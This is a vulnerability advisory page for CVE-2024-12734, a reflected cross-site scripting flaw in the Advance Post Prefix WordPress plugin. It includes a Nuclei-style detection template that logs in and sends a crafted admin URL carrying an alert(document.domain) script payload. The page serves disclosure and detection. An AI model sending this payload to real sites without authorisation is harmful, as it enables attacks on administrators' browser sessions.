Advance Post Prefix WordPress plugin - Reflected XSS
CVE-2024-12734
Verified
Description
Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
Severity
Medium
CVSS Score
6.1
Exploit Probability
0%
Affected Product
advance_post_prefix
Published Date
February 5, 2026
Template Author
sourabh-sahu
CVE-2024-12734.yaml
id: CVE-2024-12734
info:
name: Advance Post Prefix WordPress plugin - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
remediation: |
Update to the latest version of Advance Post Prefix WordPress plugin.
reference:
- https://wpscan.com/vulnerability/038b44dc-0495-4f56-ae7e-c78a265aa535/
- https://nvd.nist.gov/vuln/detail/cve-2024-12734
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12734
cwe-id: CWE-79
epss-score: 0.00199
epss-percentile: 0.41725
cpe: cpe:2.3:a:niceit:advance_post_prefix:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: niceit
product: advance_post_prefix
tags: cve,cve2024,niceit,advance-post-prefix,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=add-prefix&post="></script><script>alert(document.domain)</script><script>` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>`","advance-post-prefix")
condition: and
# digest: 4b0a00483046022100f8f5be84695a9407cacecaafd28b99aac08148e5cc55230b311f7233762c6c7c0221008e8a076440212ef7f6ae93a61b9c3feb16f933f7c4d5bb5f5cfea67254039800:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-12734
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of Advance Post Prefix WordPress plugin.